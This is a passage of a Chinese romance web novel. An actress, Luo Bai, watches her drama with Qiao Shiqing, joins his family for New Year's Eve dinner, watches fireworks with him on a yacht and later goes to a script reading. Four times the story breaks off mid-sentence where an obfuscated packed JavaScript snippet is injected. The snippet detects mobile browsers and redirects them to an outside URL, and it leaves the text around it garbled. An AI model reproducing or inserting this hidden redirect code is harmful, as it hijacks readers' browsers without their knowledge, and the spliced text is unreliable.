“之前看过吗?”他问。 “没怎么看,前段时间比较忙。” 剧情发展到主角团一行准备破除结界离开封玄境的节点。 她没记错的话,她就是在这集领便当的。 整个境界地崩山摇。 众人前方的山壁裂开一道炽热的缝,里面涌动着汩汩岩浆。 “这个特效还挺好的。”乔时青说。 “嗯。”洛白调整了一个更舒服的姿势靠在沙发背上,“特效团队之前好像还拿过奖。” “南江。” 对于自己的命运,玄昭已经了然于心,她回身望向南江,笑容有点苍凉,“我不能和你走了。” “为什么?”南江少有的情绪波动,“不是说好了——” 轰然砸落的石块打断了他的话。 “‘封玄境’这个地方就是为了封印我而存在的。”玄昭抬眸望向众人前方岩浆涌动的悬崖,“只要我还在,这个封灵锁……凭你们几个的力量是不可能摧毁的。” 洛白默默提起毯子遮住自己的脸,不知道为什么和乔时青坐在一块儿看自己演的戏这么羞耻。 乔时青压下她的遮羞布,笑着说:“正演到关键呢。怎么还躲起来了。” 南江突然发现自己无法动弹,急道:“你要做什么?” 玄昭将所有人都定住了,她慢慢走向南江,眸间只有对他的缱绻:“南江,外面的世界到底如何,你以后要多替我看看。” 她知道南江有眼疾,目不能视。 她想要让她心爱的人代自己去看看这个世间。 玄昭伸手缓缓抚住他的双眼。 那一刻,一股从未有过的暖意在南江的眼中漾开。同时玄昭闭上眼,红棕色的血泪从她的眼角流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629406|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,她展开双手往后一仰,纵身落入岩浆里,瞬间就灰飞烟灭。 玄昭的献祭彻底解开了封灵锁的封印。 天地瞬时平静下来,众人逃过一死。 获得光明的南江呆呆地站在崖边。 “演得很——” 乔时青偏过头去,看见洛白不知道什么时候已经睡着了。 她把自己裹在他的毯子里,呼吸很均匀。 乔时青静静地看着她,心下一软,有些莫名其妙的安然与不真实的飘忽。 “你还在吗?”洛白半梦不醒地说了一句。 “在的。” 她微微睁开了一点眼睛,朦胧又含糊:“是乔时青吗。” 他放轻动作把她的额发理到鬓边:“是我。” - 洛白这一晚睡得非常踏实,她很久都没有睡得这么好了。 睁开眼时,脑袋不像之前那样昏昏沉沉,也没有耳鸣。从前总有种越睡越累,越睡越困的感觉,今天却没有。她伸出手盯着自己的指头,它们不再像之前那样不受自己控制地抖动了。 一种淡淡的愉悦涌上心头。 她下床轻手轻脚地推开门走出去。 这时她听到了乔时青的声音,他正靠在岛台打电话。 “我不去了。”他说。 “不是说了除夕夜要到爷爷家过吗?”乔因说。 “我有事儿。” “你今年又不上春晚,还有什么推脱不了的工作吗?”乔因说,“你妈要是知道你不回来,肯定要发火的。” “不是工作的事。”乔时青言简意赅道。 “怎么,你在外头惹上麻烦了?” “当我是周坤回啊。”乔时青察觉到走廊那侧的动静,很快说,“先这样吧。我挂了。” 他把手机丢一边回头就看到洛白静悄悄地站在走廊边:“你醒了?不再睡一会儿吗?” “是不是你家里人催你回家过年呀?”虽然只听了一两句,但她很快猜到了,毕竟今天是除夕了,正常人都得回家过年吧。 乔时青没有隐瞒:“是我爸的电话。不过我跟他说了我不回去。” “那怎么行?你还是回去吧。” 洛白猜测,他可能是顾虑到她在他这儿借住才没法回家。 于是她说:“要不我现在就走吧。” 乔时青不太理解:“嗯?为什么?不是说好了要留在我这儿?” “我不想耽误你回家。毕竟过年也是一件很重要的事。” “每年都有过年的机会。一次不回去算不上什么。” “是每年只有一次过年的机会。” 洛白很难得或者说几乎没有机会像别的孩子那样享受过年的喜庆氛围,那种电视剧里才有的阖家团圆、幸福喜乐于她毫不相关。她不想别人错过这样的机会。 洛白又说:“其实可以和家人一起过年是一件很难得的事。我想过年都没地方过呢。所以你还是回去吧,如果因为我影响了你和家里人见面,那我这过错就大了。” 乔时青听她这么说,忽然有了一个想法:“那要么你去我家过年吧。” 47. 过年 “啊?”洛白以为自己听错了。 “你和我一起回去,这样我既可以回家你也有地方过年——这不是一举两得吗?” “什么呀。要和陌生人一起吃年夜饭,你家人肯定会觉得很奇怪的。” “不会啊,完全不会。他们都是非常好客的人,巴不得每天和陌生人吃饭。更何况是和你这么讨喜的人。”乔时青越想越觉得这个方法可行,这样或许还可以让她开心一些。 “还是算了,这样子也太唐突了。万一你的家人不高兴了……” “怎么会呢?我打赌他们会非常高兴的。” “不行……!” “好吧,那你不去我也不去了,我可以和你在这儿一起过年。” “那可不行,你家里人要是知道你因为我——”洛白说到这儿有些不好意思但还是硬着头皮说,“要是你家里人知道你是因为我没有回家过年的话,那我可是跳进黄河也洗不清了。” “嗯……要不这样吧,你就去一会儿。你就去10分钟。如果你觉得不舒服不高兴,那我立马就带你离开。” “去了还有能走的道理吗?这样会很失礼吧。” “我们家很随意的。”乔时青来到她身侧,鼓励似的拍拍她的肩膀说,“放心吧,你这么招人喜欢,他们绝不会为难你的。” 乔时青的提议虽然让洛白倍感荒唐,但却勾起了她一丝隐隐的期待。 她没有爷爷奶奶也没有外公外婆,小时候每次过年家里只有她和爸爸妈妈三个人,气氛也不算太好。后来爸爸再婚,他们过年时会一起去探望姜誉飞的外公外婆,在那洛白总觉得自己是一个外人。总之从小到大关于过年的记忆都不太好。 她的内心深处确实向往那种和睦融洽的家庭氛围。 乔时青看她的表情知道她是动摇了,马上说:“那就这么定了,我们现在就去新源。” 洛白可见地慌张:“现、现在就去吗?可我什么都没有准备——我、我我连衣服都没换。” 乔时青说:“我等你换衣服。其他什么都不用准备。” 洛白就这样半推半就地去换了一套衣服。 乔时青前两天给她买的衣服现在算是派上了用场。不得不说他的审美和眼光都很在线,准备的衣服合身又衬她的气质。洛白看了看全身镜里的自己,纠结着是不是要化个妆。 不过他这儿没有化妆品,她也就随身带了一支口红。 “要不涂个口红吧,起码气色会好一点。”她自言自语着说。 在玄关处等她的乔时青看到她满脸纠结地从衣帽间出来后,进行了充分的肯定:“很漂亮很大气,非常完美。” “……”洛白还是没下定决心,“可是你家里人还不知道吧?你总得告诉他们,你要带一个朋友一起过去吧?” “放心吧。我刚刚已经给他们发了消息。”乔时青拿过挂在一旁的大衣打开门,“走吧。” 直到坐上乔时青的车,洛白还是惴惴不安:“要不还是算了吧。感觉不太好。” 乔时青倾身给她系好安全带:“不要想太多了,吃个饭嘛。” 他一踩油门,车就从停车场疾驰而出。 洛白好几天没出门了,外界充足的光线一下子涌进视野,她还有些不适应。 街道上已经张灯结彩,路上行人不少,大多都大包小包的。 她这才想到自己空着手去不太好:“我是不是应该准备点礼物什么的?” 乔时青装模做样地沉吟了一下:“那你要以什么身份送呢?” “身份?”洛白愣住,“我哪来的什么身份,我不就是一个蹭饭的不速之客吗?” 乔时青听她这话就笑:“那为什么还要准备礼物呢?” 确实。送礼物显得好像是去见家长一样。 可虽然她既不是乔时青的女朋友更不是未婚妻什么的,但总不能白吃一顿饭吧,去邻居家吃饭不也得送点礼物吗? 乔时青看出她还在胡思乱想,就说:“那这样,一会儿你在车里等我,我去商场里买几件小礼物给你,以备不时之需,怎么样?” “你请我去你家吃饭还要你破费呀?” 乔时青的语气倒是理所当然:“我请客,当然我买单。” “……” “好了你睡一会儿吧。我看你这几天一直都睡很久,今天相对来说应该睡得不够吧。等你睡醒了,我们也就差不多到了。” “我怎么睡得着呀?”洛白有些愁眉苦脸。 乔时青调了下车里空调温度,打开车窗遮光模式,又将她的座椅调低:“这样比较好睡吧。” 洛白几乎有点佩服乔时青了——他的执行力也太强了。刚才还只是嘴巴上说说,现在就已经在去新源的路上了。她都还没反应过来呢。 乔时青撇见她有些幽怨的眼神就说:“换一个环境,我相信对你不会有坏处的。” “是我完全不熟悉的环境。” “至少你熟悉我。” 洛白把头扭到一边,带着赌气的意味说:“谁熟悉你,我才不熟悉。” 她听到他笑了一声。 车上放的是古典音乐,悠扬婉转的钢琴乐让人放松,加上乔时青开车很稳,既不会急刹又不会突然加速,就如他所说洛白很快睡着了。 醒来的时候他们已经下了高速。 看着导航上显示的距离越来越短,洛白又开始打退堂鼓:“要不然你在前面路口把我放下,我就不去了吧?” “我要是在前面路口把你放下,不到一个小时你就上新闻了。” 乔时青方向盘一转,很快驶进了一条两边都是常绿树的直道。这似乎是个别墅区,容积率很低,绿化非常好。在他踩下刹车的那一刻,洛白的退堂鼓响彻云霄。 乔时青下车走到副驾驶前打开车门:“出来吧。” 洛白硬着头皮下了车,正想说什么,面前别墅的大门就被人推开了。 “哥!你来啦?!”一个约莫十六岁的少年神色兴奋地跑过来,他看到了洛白愣了一下,“这该不会就是嫂子吧?” 洛白连忙摇头:“我不是。你误会了。” “这是我的表弟,周坤呈。”乔时青又对男孩说,“这是我朋友。洛白。” “朋友?”周坤呈狐疑地打量她,“该不会——” “行了,进屋吧,别给人冻感冒了。”乔时青说。 周坤呈先冲回了屋里,扯着嗓子就说:“表哥居然带了一个女——女性朋友过来!” 跟着乔时青亦步亦趋的洛白听到他那一嗓子,脸立马就烫了。她还听到屋内一下子热烈起来的讨论声。 “在哪儿呢?” “女性朋友?这小子可没跟我说是女的。” “来了吗?” “怎么不进来呢?” 先一步踏进客厅的乔时青转身向站在门外的她说:“不进来吗?” 别无他法了。 洛白咬着牙视死如归地踏进了客厅,瞬间一屋子好几道视线炽热地聚焦在她身上。 “这是洛白。”乔时青介绍说。 “哪个洛?”坐在正中央的应该是乔时青的爷爷,他扶了扶自己的眼镜问。 “洛神赋的洛。”他说。 “啊呀。快过来坐。别站在那儿啦。”离门较近的一个阿姨热切地走过来跟洛白说,“你好,我是乔时青的姑姑。” “阿姨好。” “叫我姑姑就好了呀。” “啊,好,姑姑好。”洛白努出一个微笑。 她刚在姑姑的招呼中坐下,乔时青的爷爷就率先开口问:“小洛是吧?” “嗯,是。” 完了。她根本不是会和长辈打交道的小孩。 洛白一下子倍感压力。 这时老爷子缓慢地露出了一个疑似和善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765700|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的微笑:“很清秀啊。你跟阿青处多久了?” “哎?”洛白大脑短路,“没、没处呢。” “外公。”周坤呈说,“我都说了是女性朋友,不是女朋友。” “女性朋友?”老爷子琢磨了一下这个词,“就是红颜知己的意思?” 洛白:“……” “要放在我和你奶奶那时候,”爷爷目光上抬瞅了乔时青一眼,“一般这么说的都是未婚妻。” 洛白:“…………” 乔时青说:“您别两句话就把人家吓跑了。” “就是,你这话也太给年轻人压力了。”坐在爷爷旁边的一个伯伯向洛白笑了笑,“不要拘束,就把这当自己家一样吧。” 怎么可能不拘束嘛。 洛白的手心都要出汗了。 “这是我姑父。”乔时青轻拍她的袖子,“没事的。” 这时一个阿姨不知道从哪里端了一杯红茶递给她:“来。有些口渴了吧?” 洛白赶紧接过茶杯:“谢谢阿姨。” 阿姨没走,一手搭在乔时青的肩上,笑盈盈地说:“我是乔时青的妈妈,我姓宁,你也可以叫我妈。” 洛白:? 乔时青:“……你叫她阿姨就行了。” “下午阿青跟我们说要带个朋友来家里吃饭,我还以为是什么狐朋狗友呢。”宁阿姨说,“哎呀,哪里想到是这么漂亮的女孩。” 一旁的叔叔接着说:“你们乔时青又不像我们家周坤回,一天到晚没个正经样。” “回哥身边也经常有漂亮女孩啊。”周坤呈说。 “还说呢。”那叔叔——看来是乔时青的姑父——不太高兴地说,“你以后千万别跟他学。” “小洛啊,你今年多大了?”乔老爷子又问。 姑姑则问:“你是艺人吧?我之前在时装周好像见到过你呢。” “话说你们俩是怎么认识的?”宁阿姨说。 乔时青打住他们的求知欲:“不要查户口了。一会儿真把人吓跑了。” “哦……也是。” 几个长辈纷纷点头——这么多年了,乔时青带个女孩子回家不容易啊。 这时有人推门而入,进屋的中年男人眉宇间和乔时青几分相似,他脱下大衣交给一旁的保姆。 姑姑说:“才来啊。你不来看看你儿子都带谁来了?” 乔因扫了一眼看见洛白,他就向她微笑点点头:“你好,我是乔时青的爸爸,乔因。” “叔叔好。”洛白立刻说。 “不介意的话,直接叫我爸就可以了。” “……” 怪不得是夫妻。脑回路都还挺像的。 乔时青凑近她问:“这种程度的玩笑会觉得不适吗?” 洛白笑了一下:“不会。” 这时一个穿厨师制服的人毕恭毕敬地走到乔老爷子的身边,微微弯下腰说:“乔老先生,家宴已经准备好了。” “是吗?”爷爷看向姑姑,“那坤回怎么还没来啊?” “路上了吧,我打个电话问问。” 姑父说:“不用等他了,咱们先吃吧,那家伙一天到晚没个正行。” “毕竟是年夜饭呢,当然得一起吃了。”姑姑拿起手机又拍了姑父一下,“一会儿他来了,你可别又跟他吵啊。” “我才懒得跟他吵呢。”姑父说。 “来,小洛,吃点水果点心。”爷爷说。 “啊好的。”洛白赶紧拿起一块糕点塞进嘴里。 乔时青好笑说:“不想吃不用硬吃。” 一口凤梨酥卡在洛白的喉咙,她郁闷地看了眼这个在长辈面前戳穿自己的家伙:“我才没有不想吃。” “你叫……洛白,对吧?”宁岚放下手中的茶杯,“这么说,你就是洛知雅的女儿?” 洛白大为诧异,怔了下才说:“您认识我妈妈?” 48. 过年2 “当年我们都在新源艺大读书呢。”宁岚说。 “那真是太巧了。” 宁岚端详了洛白好久,总算忍不住长叹一口气:“你和你妈妈长得可是真像啊,简直是一个模子里刻出来的。” “是吗?”洛白听到宁岚这么说,不知为何有些亲切感,“小时候经常听人这么说。” “不知道她现在还好吗?” “她去世了。” “啊。抱歉。我不知道这事儿。”宁岚歉意地说。 她这几年很少听到洛知雅的消息,自己也揣测过估计是不在世了,但始终没有确认过。毕竟洛知雅年轻时像流星一样璀璨。哪里能想到,她又像流星一样转瞬即逝呢。 “没关系。已经是十年前的事了。” “真是事事无常……” “外公——!新年好啊!我亲爱的舅舅舅妈——” 这时大门推开,周坤回姗姗来迟,一进门就喊了一声。 他这一嗓子在目光触及洛白的时候猛地刹住了:“哎哟我艹。行啊乔二。我还说你进度慢,没想到转眼都领回——” “别乱说话。”乔时青打断他,“事情不是你想的那样。” “这么晚才来?”姑父瞪了周坤回一眼,“一家人就等你一个。” 周坤回只好转向他:“外面下大雪,哪儿哪儿都堵。这不才来晚了吗?而且外公这地方也是太不好找了,我跟着那个导航差点都迷路。” “哎呀,那一路赶来也是辛苦你了啊。”姑姑把他的外套交给一旁的保姆。 爷爷站起身:“现在小回也到了,咱们就吃饭吧。” “哦!太好了!我早就饿了!”周坤呈第一个蹦起来往餐厅跑。 餐厅里挂了不少过年装饰,喜庆又雅致。 桌上已经摆满菜肴,一看就让人食欲大开。 “这二十一道菜里头有三道菜是我做的,看你们能不能吃的出来。”老爷子甚是得意地说。 ——其实都不用吃。一眼就能看出来了。 这满桌的菜都是出自厨师之手,摆盘色泽都十分讲究,只有三道菜卖相颇为家常,在里面也算是鸡立鹤群。 周坤呈按捺不住道:“这、这、这,这仨肯定是外公你做的吧?” 老爷子说:“奇了怪了,你今年这眼神怎么这么好?” “还用说吗?那卖相就跟人家厨师做得不一样啊。” 一桌人都笑起来。 宁岚说:“你说这话,你外公可要考虑一下你的压岁钱了。” 周坤呈识相的赶紧赔笑着说:“我的意思是,这卖相上就比人家米其林大厨做得高出了两个档次,一看就不得了。我一会儿肯定要猛猛吃。” 姑姑笑着摸了把他的脑袋:“就数你会找补。” 老爷子略略举起酒杯,大家见状也举起面前的酒杯。洛白慢了一拍。 乔老先生缓缓说:“今晚是除夕,我还是和往年一样,不废话了,祝各位心想事成,新年快乐。” “新年快乐!” “新年快乐。” “新年快乐~” 酒杯纷纷碰到一块,众人的脸上有不同程度的笑意。 “哎,小呈,未成年不能喝酒啊。”姑姑提醒说。 “大过年呢。”周坤呈说,“我意思意思抿一口。” “你让他喝吧。”周坤回说,“反正喝不死。” “啧。什么‘死’不‘死’的。”姑姑瞪他,“净说不吉利的话。” “小洛啊。”乔老先生说,“你还吃得惯这些菜吗?要是有忌口的,再让厨师给你做。” “吃得惯。”洛白礼节性地微笑,“我没有忌口的。” “嗯。”乔老先生满意地点头,“我们阿青也没有忌口,看来你们蛮般配的。” 要只是不忌口就能和乔时青般配的话,那乔家的门都得被挤破了吧…… 洛白干笑了下。 坐在她身边的乔时青慢条斯理说:“要只是不忌口就算得上般配,那和洛白约会的人要从这里排到海王星了。” 洛白:“……” 总体来说,这一顿饭吃得远比洛白想象得更融洽。 几个长辈时不时聊几句工作、一些琐事以及玩笑,当然到最后总是会把话题转到晚辈身上。 他们即便对于洛白这个素不相识的外人也一并给予了温暖的关心,这让她久违的——应该说是前所未有地感受到了来自长辈的关爱。 饭后,乔老先生就给他们发红包,听乔时青说,他爷爷习惯每年都给大家发一点现金,装在红包里算是添个好彩头。 “啊,我就不用了吧。” 当乔老爷子把一个鼓鼓的红包递给洛白时,她很不好意思,不知道该不该接。 乔老先生笑了笑:“嫌少吗?” “当然不是!”洛白说,“是太不好意思了。” 宁岚笑着说:“毕竟是爷爷对你的一点儿心意。收下吧。” “这……”洛白看向乔时青,后者点点头,她也不好驳了乔老先生的面子,还是双手接过了红包。 红包沉甸甸的,封面竟然还写了她的名字。 字迹复古又端正,看来是乔老先生的亲笔。 洛白鼻子一酸,不知道为什么有些想哭。 爷爷又感谢说洛白送的钢笔,表示他很喜欢——其实所谓洛白送的新年贺礼都是乔时青临时准备的,想到这儿她又有些惭愧,早知道应该更重视这次聚餐才对。 “我们什么时候去看烟花啊?”领到红包的周坤呈满脸压不住的高兴,“快到点了吧?” 不知道是不是洛白的错觉,屋子里安静了一瞬间。 老爷子背过身去:“我没那兴致。你们去吧。” 宁岚也说:“你们年轻人才爱看烟花。我还是想和你妈妈打麻将。” “是啊,你们去吧。”姑姑说,“老张在外头等着了。” “怎么回事,之前不就是你张罗着要看。”周坤呈撇了下嘴,又转向乔时青他们,“那事不宜迟,我们出发呗!” “今晚天晴,景色应该不错的。”宁岚把一条崭新的围巾递给洛白,笑盈盈地说,“出门注意保暖,不要感冒了哦。” “谢谢阿姨。” 洛白还不知道要去哪儿看烟花,道了谢就接过围巾稀里糊涂围在脖子上,乖乖跟在乔时青身边一起出门。 “那洛白姐姐,”周坤呈兴高采烈地跟上来,“咱们一块走吧!” 司机在门口等着他们。 周坤呈本想和洛白乔时青坐一辆车,他还没坐进去,就听到自己亲哥在后头中气十足地叫自己:“周坤呈——!来帮我拿点东西!” “啊我先过去下。” 周坤呈关上车门,三两步跑进屋里,一看周坤回两手空空,“东西呢?” 周坤回抱着臂:“你还真要跟人家后头去凑热闹呢?” 周坤呈看看他身后忍俊不禁的家人们,一时没反应过来:“什么凑热闹啊?我们不是每年都去看烟花吗?” “你没看你表哥一整个晚上眼睛都粘在人家身上呢?你也不知道给人家创造一下独处机会?” 周坤呈顺着老妈的话想了想说:“这倒是,没见过他有这么要好的女性朋友。” “还女性朋友呢。”宁岚摇头,“就你这悟性,以后要谈恋爱也难哦。” “总之你就别去了。”乔因说,“不要打扰人家暧昧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853858|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是我也想看烟花啊……”周坤呈不死心地说。 “你个傻子。”周坤回说,“你难道就没有什么比烟花更想要的东西了?” “当然有啊。”周坤呈凑近他低声说,“我想要机车,老爸老妈不给我买。” 周坤回一拍他的肩:“你不会让你表哥给你买?” “哦……?”周坤呈眼睛腾得一亮。 乔老爷子慢悠悠往棋盘前一坐:“可惜今年没人陪我下棋咯。” “我陪你玩啊外公。”周坤回说。 老爷子瞅他一眼:“你棋艺太差。” “嘿。”周坤回辩无可辩,“围棋我是没办法。但您要是改主意玩扑克,我一定是所向披靡。” “喂,哥?” 一边的周坤呈刚打通乔时青的电话,乔时青明显有些无语:“这么近你打什么电话?” 周坤呈开门见山地说:“表哥,我就直说了,我想要一辆机车。” “你当我做慈善的?”乔时青说。 周坤呈不慌不忙地说:“这个嘛,看你想不想和洛白单独看烟花了。” “……链接发我。” 乔时青挂断电话。 “怎么了吗?”洛白问。 “周坤呈,”乔时青一顿,“找我要新年礼物。” “那小乔先生,我开车了。”前排司机说。 “行。麻烦了。”乔时青说。 “嗯?不等他们了吗?”洛白问。 “他们临时有事。”乔时青说。 “可刚才你表弟不是说很想看烟花吗?” “他有比烟花更想要的东西。” 洛白哪里知道他在说什么,不过现在车里就他们俩,总归是能如释重负地松口气。 乔时青看她倚在靠背上有些出神,就问:“有些累了吧?” “还好。”洛白低头握住围巾一角,“哎。我来得太仓促了。什么都没准备。” “他们也收到了你的礼物。” “那明明是你准备的好不好。”说到这儿洛白就更惭愧一些,“你的家人都很友善,可我连见面礼都没有自己准备。” “放心。你的出现对他们来说就是最大的礼物。” 洛白似嗔似怪地看了他一眼:“又乱说。” 乔时青笑了下,也不反驳。 没过多久,张司机在码头边停下来。 码头边停了一辆游艇。 没想到他们说的看烟花,竟然是去游艇上看。 ……乔家人还是蛮有情调的。 乔时青领她上甲板:“水上风大,围巾可要戴好了。” 游艇徐徐开动,夜风从水面上拂过来。 岸上是灯火通明熙熙攘攘的城市高楼,甲板上则安静得很,倒显得对面的繁华有些不真切了。 “会冷吗?” 洛白笑起来:“不用,我裹得很严实了。” 乔时青说:“看起来你的心情不错?” “这个嘛……”洛白把被吹乱的长发理到耳后,对上他温柔如水的眼神,心里一动。 他的眼睛还是这么好看。轮廓也好,线条也好,都是无可挑剔的迷人,更别说双眸里的神采,像是盛了落满星光的水,深邃又温和。 她嫣然一笑:“嗯。我很开心。谢谢你。” “又谢谢了是吧。” “因为有你在我才能开心。” “……” “乔时青,我——” 虽然有一阵害怕隐隐涌上来,但是这一刻待在他身边,好像又拥有了一些勇气似的。 她想和他说不止如此。 乔时青问:“什么?” 洛白欲言又止。 49. 心思 突然之间,一阵亮光照耀过来。 是烟花。 一阵阵爆炸声浪潮般涌过来,一朵朵大大的烟花绽放在夜空中。 洛白抬起头去看烟花,又反悔了,说:“算了,再说吧。” 乔时青:“你就这么玩我是吧。” 烟花的火光照亮洛白的面庞,她的微笑里不乏狡黠:“我哪有。难道你不看烟花了吗?” 乔时青就此转过头去看烟花。 只是烟花再美再盛大,这下也难以夺去他全部的注意力。 他的余光总是放在一旁全神贯注的心上人那。 火光粼粼,夜水漫流,远处的人声鼎沸依稀可闻。 他和她站在一起,注视着天空,没有人会注意到这儿。 半晌,洛白轻声说:“我是第一次看烟花。” “那真好。”乔时青上扬嘴角。 “为什么?” “因为这个第一次是和我一起。我当然很高兴。” 洛白愣了一下。 其实……她也很高兴。 因为……因为是和他一起吗? 洛白走近他一步。 乔时青没有后退。 两人本来就靠得近,她又走近他,现在几乎是触手可及。洛白倾身抱住了他。被她的双手环住的那一刹那,乔时青僵在原地。耳畔烟花声轰鸣,但她仍能感受到他如鼓的心跳。他什么也不想说,慢了几拍抬起手——这时洛白却抽离了。 她后退一步,仰头看他:“我也很高兴。” 一束束的亮光乍然间熄灭。 烟花放完了。 照耀整个夜空的璀璨烟花谢了,周遭又沉寂下来,只有风仍是源源不断吹过来。 因为突然的黑暗,洛白一下子看不见乔时青的表情,只听见他说:“……你高兴就好。” 时间不早,两人在游艇上没做逗留,等靠岸后乔时青本打算带洛白回家住。 这一提议被她断然拒绝了。 ——这可是在新源,去他爷爷家吃饭也就算了,要是晚上还住在他家里,那也太不好意思了。 一番商量后,他就在酒店给她订了房间又开车送她去。 恰好洛白后天就有通告在新源这边,这样也方便。 “剧本围读?”乔时青在红灯前停下来。 “嗯。《秦桑低绿枝》。”洛白说。 “之前听你说陈立新也会参演?”乔时青说,“你那位队友不会因为这个为难你吧?” “和我吵过一架。后面应该也不会怎么样了。” “你还能跟人吵架呢?” “我又不是受气包。当然也会不爽,也会吵架了。” 乔时青听了这话,笑出了声。 “你笑什么?” 乔时青却还是在笑,在又一个红绿灯前停下来才笑容满满去看她:“因为你太可爱了,我忍不住。” “难得和你说一次实话。” 洛白郁闷地看了他一眼。 乔时青当然知道这个“难得”。 他看着她,觉得她比以往任何时候都更迷人。 直到他的视线触及到她的嘴唇,忽然喉咙一哑,发不出声音了。而洛白也因为这个古怪的沉默有点慌乱。 嗓子发干,脑袋眩晕,当下的乔时青,脑子里只有一件事……吻上去。 这时红灯转绿,后车鸣笛。 乔时青略带艰难地回过身,转动方向盘。 洛白说不清自己是什么情绪,只是无言地望向窗外。 四下无人的十字路口,树与夜色在窗外飞驰而过。 两个人都对自己的心思讳莫如深。 - 终于来到了酒店房间里。 检查了后续的行程安排。 简单洗漱一番躺到床上准备睡觉的洛白顿住了。 这几天的一幕幕场景涌上来。 她……都做了什么? 和乔时青的家人吃年夜饭,和他看烟花,她抱了他,还有他送她过来时那个无声的对视,那时她……难道在期待些什么? 时间再倒回一点。 她一通电话,他就出现在她面前。 他带她回他家。她住在他家。 他——换作是别人,不是她的话,他也会这样做吗? 洛白莫名觉得她对他来说有一些特殊。 或许正是因为她察觉了自己的特殊,所以才会作出一些超越普通朋友界限的行为。她这样做是不是有些有恃无恐或者说自以为是了? 洛白又开始觉得自己的不妥,甚至有些讨厌自己的所作所为、言行态度,恨不得一笔抹杀这几天所有的事。 其实不止是今天,这一段时间,洛白都是这样,情绪反复。 有时候想到乔时青的举动。 她偶尔会想——该不会,他有些喜欢她呢? “我也是有私心的。” “但我很想了解你,洛白。” “你是绝对特别的。” 怪不得她会这么想,他总是说一些容易让人浮想联翩的话。 难道真的有人会平白无故对别人说这样的话吗? 他自己也说了,他不是那种乐于助人的正义使者。 那岂不是只有“他喜欢她”这个说法可以解释他的行为吗? 从这个视角出发的话,看他的一切仿佛都是不动声色的关心。 所有的隐喻暗喻一时间明朗起来,洛白像是得到了主动权站在了不一样的高度,忍不住怀着窃喜的心情去窥看他的一举一动,甚至还比以前多了些有恃无恐。 可是转眼间,她又会忽然从中清醒过来,赶紧让自己别那么自以为是。 她有什么值得他喜欢的呢? 她情绪不稳定,性格也闷,更不会提供情绪价值。 可能他是因为她躁郁症发作时找他作伴才对她有了一些恻隐之心,说不定是在可怜她——对啊,他可怜她,把无处可去的她带回家。这样不是也说得通吗? 洛白深呼吸了几下,下定决心不再去想。 - 两天后。 “新年快乐,四吉。” “天!你居然还给我准备了礼物!”四吉大为感动地接过洛白递来的袋子,“这很贵哎!洛洛你太好了吧。” 洛白笑了下:“新的一年还要多多麻烦你。” “能当你的助理我巴不得!前两天光是看几眼奖金都能把我高兴得睡不着。”四吉打开车门让她坐进去,“而且这几天放假可把我放爽了,就可惜开工太早了。没想到《秦桑低绿枝》的剧本围读提早了这么多天。” “可能是要协调演员的档期吧。”洛白说。 “有道理,毕竟人家齐彷最近事情可多。” 洛白一怔:“齐彷……?” “是啊,人家男主啊。”四吉继续说,“秦湘姐还说呢,也不知道我们撞什么大运了,女主电影和顶流搭,女主电视剧和影帝搭,演个四番角色还能大爆,最近真应该去做做慈善、烧烧香什么的,免得被小人眼红……” 四吉还在说什么,洛白已经听不进去。 她打开剧本会文档PDF,清清楚楚地看见主角一栏写着她和齐彷的名字,依稀也想起,过年前秦湘和自己提过这件事。不过那时她旧病复发,精神状态不稳定,总是沉浸在自己的情绪里无心和别人交流。 现在没时间再给她考虑,不过一会儿就抵达了剧本会的召开地点。 会议室里人不多不少。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859138|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“洛洛。”陈立新过来和她打招呼,“好久不见。” 洛白微笑了下:“恩。新年快乐。” 她不太知道怎么称呼他。 之前基本是在录制中见面,都是叫“姐夫”。但现在她实在叫不出口。 “我看我们对手戏挺多的。什么时候可以一起对戏。” 陈立新在这部戏里饰演她的初恋。他们的对手戏确实不少。 不过洛白和他不太熟,只是点点头说:“嗯。有机会再说吧。” 她没有和他再闲聊的想法,打算回位置上,一转身就有宿命般的气息扑鼻而来。她僵在原地,没有抬头。 “好久不见。” 他也用了和陈立新一样的开场白。 洛白胡乱点头,绕开眼前人直接坐下,故作专心地盯着剧本。 